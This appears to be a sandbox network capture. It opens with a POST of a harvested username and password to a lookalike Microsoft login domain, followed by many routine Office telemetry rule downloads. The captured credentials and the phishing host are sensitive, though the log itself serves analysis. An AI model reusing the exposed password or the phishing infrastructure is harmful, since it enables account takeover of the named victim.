2024-12-03 14:33:01 UTC	1072	OUT	POST /auth/auth.php HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Content-Length: 104 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://www.ms-docs.xyz Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.ms-docs.xyz/auth/login.php?c=1jEW&replaceCurrent=1&url=http%3A%2F%2Fnationaltubesupply.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookieTest=1; logondata=acc=0&lgn=garythrow@nationaltubesupply.com; PHPSESSID=64164147a0126881c9cba57751d03b4f; PrivateComputer=true; PBack=0
2024-12-03 14:33:01 UTC	104	OUT	Data Raw: 75 73 65 72 6e 61 6d 65 3d 67 61 72 79 74 68 72 6f 77 25 34 30 6e 61 74 69 6f 6e 61 6c 74 75 62 65 73 75 70 70 6c 79 2e 63 6f 6d 26 70 61 73 73 77 6f 72 64 3d 43 6a 70 33 74 2e 25 35 45 5a 25 33 43 25 32 33 26 70 61 73 73 77 6f 72 64 54 65 78 74 3d 26 69 73 55 74 66 38 3d 31 26 73 65 6e 64 3d 73 75 62 6d 69 74 Data Ascii: username=garythrow%40nationaltubesupply.com&password=Cjp3t.%5EZ%3C%23&passwordText=&isUtf8=1&send=submit

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:01 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:01 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 621fcd15-801e-008c-0d40-447130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143301Z-174f7845968cpnpfhC1EWR3afc00000015ng00000000evn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:02 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:02 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: ff1e1338-c01e-00a2-7ff2-442327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143302Z-174f7845968psccphC1EWRuz9s000000167g00000000gy59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:03 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.9	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:02 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:03 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f4a7b183-b01e-0098-27d5-43cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143303Z-174f78459684bddphC1EWRbht400000015r000000000k4k5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:03 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.9	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:03 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:03 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 68e9c15b-c01e-002b-1eed-446e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143303Z-174f7845968cdxdrhC1EWRg0en0000001640000000000m6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:03 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.9	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:03 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:03 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: cf1b24c6-801e-00a0-09d5-432196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143303Z-174f7845968pght8hC1EWRyvxg0000000990000000004ah2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:04 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.9	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:04 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:04 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 44412a51-001e-000b-14c5-4315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143304Z-174f78459685726chC1EWRsnbg000000163000000000dkm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:04 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.9	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:04 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:05 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 22785ae5-e01e-0003-78b2-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143305Z-174f7845968n2hr8hC1EWR9cag00000015r000000000bbfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:05 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.9	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:05 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:05 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 562f2249-001e-0028-5dab-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143305Z-174f784596886s2bhC1EWR743w000000163g00000000bamg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:05 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.9	49863	13.107.246.63	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:05 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:05 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143305Z-174f78459688l8rvhC1EWRtzr00000000km000000000gep6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:06 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.9	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:05 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:06 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 49af129b-801e-00a3-1af3-447cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143306Z-174f784596886s2bhC1EWR743w000000162g00000000drqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:06 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.9	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:06 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:06 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 22aebb4e-401e-00ac-1f80-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143306Z-174f7845968pf68xhC1EWRr4h800000016d0000000002b32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:06 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.9	49866	13.107.246.63	443

